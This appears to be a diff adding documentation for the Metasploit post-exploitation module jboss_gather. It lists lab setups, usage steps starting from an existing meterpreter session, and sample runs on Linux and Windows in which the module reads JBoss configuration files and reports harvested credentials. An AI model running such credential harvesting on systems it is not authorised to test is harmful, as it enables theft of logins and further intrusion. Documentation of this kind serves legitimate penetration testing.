|
| 1 | +## Creating A Testing Environment |
| 2 | + For this module to work you need a linux or windows machine. |
| 3 | + For linux and windows you can download jboss from here the following location: http://jbossas.jboss.org/downloads |
| 4 | + |
| 5 | +This module has been tested against: |
| 6 | + |
| 7 | + 1. Xubuntu 16.04 with jboss 4.23,5.0,5.1 and 6.1. |
| 8 | + 2. Windows 10 with jboss 4.23,5.0,5.1 and 6.1. |
| 9 | + |
| 10 | +This module was not tested against, but may work against: |
| 11 | + |
| 12 | + 1. Other versions of linux running jboss |
| 13 | + 2. Other version of windows running jboss |
| 14 | + |
| 15 | +## Verification Steps |
| 16 | + |
| 17 | + 1. Start msfconsole |
| 18 | + 2. Obtain a meterpreter session via whatever method |
| 19 | + 3. Do: 'use post/multi/gather/jboss_gather' |
| 20 | + 4. Do: 'set session #' |
| 21 | + 5. Do: 'run' |
| 22 | + |
| 23 | +## Scenarios |
| 24 | + |
| 25 | +### Xubuntu 16.04 with jboss 4.23 and 5.1 |
| 26 | + |
| 27 | +#### Running with read permissions |
| 28 | + |
| 29 | + msf post(jboss_gather) > use post/multi/gather/jboss_gather |
| 30 | + msf post(jboss_gather) > run |
| 31 | + |
| 32 | + [*] [2017.03.31-15:12:34] Unix OS detected, attempting to locate Jboss services |
| 33 | + [*] [2017.03.31-15:12:35] Found a Jboss installation version: 4 |
| 34 | + [*] [2017.03.31-15:12:36] Attempting to extract Jboss service ports from: /home/reaper/jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml |
| 35 | + [*] [2017.03.31-15:12:36] Attempting to extract Jboss service ports from: /home/reaper/jboss-4.2.3.GA/server/default/deploy/jboss-web.deployer/server.xml |
| 36 | + [+] [2017.03.31-15:12:36] Credentials found - Username: admin Password: admin |
| 37 | + [+] [2017.03.31-15:12:37] Credentials found - Username: admin Password: admin |
| 38 | + [*] [2017.03.31-15:12:38] Found a Jboss installation version: 5 |
| 39 | + [*] [2017.03.31-15:12:39] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/all/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml |
| 40 | + [*] [2017.03.31-15:12:39] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/default/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml |
| 41 | + [*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/minimal/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml |
| 42 | + [*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/standard/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml |
| 43 | + [*] [2017.03.31-15:12:40] Attempting to extract Jboss service ports from: /home/reaper/jboss-5.1.0.GA/server/web/conf/bindingservice.beans/META-INF/bindings-jboss-beans.xml |
| 44 | + [+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin |
| 45 | + [+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin |
| 46 | + [+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin |
| 47 | + [+] [2017.03.31-15:12:41] Credentials found - Username: admin Password: admin |
| 48 | + [*] Post module execution completed |
| 49 | + |
| 50 | +### Windows 10 with jboss 5.0 and 6.1 |
| 51 | + |
| 52 | +#### Running with low permissions |
| 53 | + |
| 54 | + msf post(jboss_gather) > run |
| 55 | + |
| 56 | + [*] [2017.03.31-15:13:43] Windows OS detected, enumerating services |
| 57 | + [*] [2017.03.31-15:13:43] No Jboss service has been found |
| 58 | + [*] Post module execution completed |
| 59 | + |
| 60 | +#### Running with correct permissions |
| 61 | + msf post(jboss_gather) > use post/multi/gather/jboss_gather |
| 62 | + msf post(jboss_gather) > run |
| 63 | + |
| 64 | + [*] [2017.03.31-15:44:37] Windows OS detected, enumerating services |
| 65 | + [*] [2017.03.31-15:44:39] Jboss service found |
| 66 | + [*] [2017.03.31-15:44:39] Jboss service found |
| 67 | + [*] [2017.03.31-15:44:39] Found a Jboss installation version: 5 |
| 68 | + [*] [2017.03.31-15:44:41] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\all\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 69 | + [*] [2017.03.31-15:44:41] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\default\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 70 | + [*] [2017.03.31-15:44:42] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\minimal\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 71 | + [*] [2017.03.31-15:44:42] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\standard\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 72 | + [*] [2017.03.31-15:44:43] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-5.1.0.GA\jboss-5.1.0.GA\server\web\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 73 | + [+] [2017.03.31-15:44:43] Credentials found - Username: admin Password: admin |
| 74 | + [+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin |
| 75 | + [+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin |
| 76 | + [+] [2017.03.31-15:44:44] Credentials found - Username: admin Password: admin |
| 77 | + [*] [2017.03.31-15:44:45] Found a Jboss installation version: 6 |
| 78 | + [*] [2017.03.31-15:44:46] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\all\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 79 | + [*] [2017.03.31-15:44:47] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\default\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 80 | + [*] [2017.03.31-15:44:48] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\jbossweb-standalone\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 81 | + [*] [2017.03.31-15:44:48] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\minimal\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 82 | + [*] [2017.03.31-15:44:49] Attempting to extract Jboss service ports from: C:\Users\Reaper\Desktop\jboss-6.1.0.Final\server\standard\conf\bindingservice.beans\META-INF\bindings-jboss-beans.xml |
| 83 | + [+] [2017.03.31-15:44:49] Credentials found - Username: admin Password: admin |
| 84 | + [+] [2017.03.31-15:44:49] Credentials found - Username: admin Password: admin |
| 85 | + [+] [2017.03.31-15:44:50] Credentials found - Username: admin Password: admin |
| 86 | + [+] [2017.03.31-15:44:50] Credentials found - Username: admin Password: admin |
| 87 | + [*] Post module execution completed |
0 commit comments